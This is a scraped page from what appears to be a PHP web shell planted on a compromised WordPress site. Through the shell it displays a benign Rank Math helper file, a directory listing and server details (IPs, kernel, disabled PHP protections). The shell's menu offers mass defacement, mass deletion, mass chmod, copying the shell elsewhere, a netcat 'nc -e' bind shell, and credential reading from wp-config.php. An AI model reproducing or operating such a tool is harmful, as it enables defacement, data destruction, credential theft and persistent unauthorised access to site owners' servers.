WPZ

berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/wp-content/plugins/seo-by-rank-math/includes/helpers/class-api.php (3.43 KB)
<?php
/**
 * The API helpers.
 *
 * @since      1.0.9
 * @package    RankMath
 * @subpackage RankMath\Helpers
 * @author     Rank Math <support@rankmath.com>
 */

namespace RankMath\Helpers;

use RankMath\Admin\Admin_Helper;

defined( 'ABSPATH' ) || exit;

/**
 * API class.
 */
trait Api {

	/**
	 * Add notification.
	 *
	 * @param string $message Message string.
	 * @param array  $options Set of options.
	 */
	public static function add_notification( $message, $options = [] ) {
		$options['classes'] = ! empty( $options['classes'] ) ? $options['classes'] . ' rank-math-notice' : 'rank-math-notice';
		$notification       = compact( 'message', 'options' );

		/**
		 * Filter notification message & arguments before adding.
		 * Pass a falsy value to stop the notification from getting added.
		 */
		apply_filters( 'rank_math/admin/add_notification', $notification );

		if ( empty( $notification ) || ! is_array( $notification ) ) {
			return;
		}

		rank_math()->notification->add( $notification['message'], $notification['options'] );
	}

	/**
	 * Remove notification.
	 *
	 * @param string $notification_id Notification id.
	 */
	public static function remove_notification( $notification_id ) {
		rank_math()->notification->remove_by_id( $notification_id );
	}

	/**
	 * Check if notification exists.
	 *
	 * @param string $notification_id Notification id.
	 */
	public static function has_notification( $notification_id ) {
		return rank_math()->notification->has_notification( $notification_id );
	}

	/**
	 * Get Setting.
	 *
	 * @param  string $field_id      The field id to get value for.
	 * @param  mixed  $default_value The default value if no field found.
	 * @return mixed
	 */
	public static function get_settings( $field_id = '', $default_value = false ) {
		return rank_math()->settings->get( $field_id, $default_value );
	}

	/**
	 * Get Auto update setting status.
	 *
	 * @return bool
	 */
	public static function get_auto_update_setting() {
		return in_array( 'seo-by-rank-math/rank-math.php', (array) get_site_option( 'auto_update_plugins', [] ), true );
	}

	/**
	 * Toggle auto updates option.
	 *
	 * @param string $toggle       New status.
	 * @return void
	 */
	public static function toggle_auto_update_setting( $toggle ) {
		do_action( 'rank_math/settings/toggle_auto_update', $toggle );

		$auto_updates = (array) get_site_option( 'auto_update_plugins', [] );
		if ( ! empty( $toggle ) && 'off' !== $toggle ) {
			$auto_updates[] = 'seo-by-rank-math/rank-math.php';
			update_site_option( 'auto_update_plugins', array_unique( $auto_updates ) );
			return;
		}

		update_site_option( 'auto_update_plugins', array_diff( $auto_updates, [ 'seo-by-rank-math/rank-math.php' ] ) );
	}

	/**
	 * Add something to the JSON object.
	 *
	 * @param string $key         Unique identifier.
	 * @param mixed  $value       The data itself can be either a single or an array.
	 * @param string $object_name Name for the JavaScript object. Passed directly, so it should be qualified JS variable.
	 */
	public static function add_json( $key, $value, $object_name = 'rankMath' ) {
		rank_math()->json->add( $key, $value, $object_name );
	}

	/**
	 * Remove something from the JSON object.
	 *
	 * @param string $key         Unique identifier.
	 * @param string $object_name Name for the JavaScript object. Passed directly, so it should be qualified JS variable.
	 */
	public static function remove_json( $key, $object_name = 'rankMath' ) {
		rank_math()->json->remove( $key, $object_name );
	}
}
namawaktuukuranownerpermaksi
..
class-analytics.php 2026-07-21 14:141.9 KB 76129f60960:kunden-xw-x-----
edt
class-api.php 2026-07-21 14:143.43 KB 76129f60960:kunden-xw-x-----
edt
class-arr.php 2026-07-21 14:144.19 KB 76129f60960:kunden-xw-x-----
edt
class-attachment.php 2026-07-21 14:144.13 KB 76129f60960:kunden-xw-x-----
edt
class-choices.php 2026-07-21 14:1425.38 KB 76129f60960:kunden-xw-x-----
edt
class-conditional.php 2026-07-21 14:1410.34 KB 76129f60960:kunden-xw-x-----
edt
class-content-ai.php 2026-07-21 14:1415.8 KB 76129f60960:kunden-xw-x-----
edt
class-db.php 2026-07-21 14:147.66 KB 76129f60960:kunden-xw-x-----
edt
class-editor.php 2026-07-21 14:14765 B 76129f60960:kunden-xw-x-----
edt
class-html.php 2026-07-21 14:141.8 KB 76129f60960:kunden-xw-x-----
edt
class-locale.php 2026-07-21 14:14945 B 76129f60960:kunden-xw-x-----
edt
class-options.php 2026-07-21 14:141.79 KB 76129f60960:kunden-xw-x-----
edt
class-param.php 2026-07-21 14:142.39 KB 76129f60960:kunden-xw-x-----
edt
class-post-type.php 2026-07-21 14:144.88 KB 76129f60960:kunden-xw-x-----
edt
class-schedule.php 2026-07-21 14:145.42 KB 76129f60960:kunden-xw-x-----
edt
class-schema.php 2026-07-21 14:143.96 KB 76129f60960:kunden-xw-x-----
edt
class-security.php 2026-07-21 14:141.38 KB 76129f60960:kunden-xw-x-----
edt
class-sitepress.php 2026-07-21 14:143.92 KB 76129f60960:kunden-xw-x-----
edt
class-str.php 2026-07-21 14:146.69 KB 76129f60960:kunden-xw-x-----
edt
class-taxonomy.php 2026-07-21 14:145.26 KB 76129f60960:kunden-xw-x-----
edt
class-url.php 2026-07-21 14:143.91 KB 76129f60960:kunden-xw-x-----
edt
class-wordpress.php 2026-07-21 14:1422.12 KB 76129f60960:kunden-xw-x-----
edt
index.php 2026-07-21 14:1428 B 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/wp-content/plugins/seo-by-rank-math/includes/helpers
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK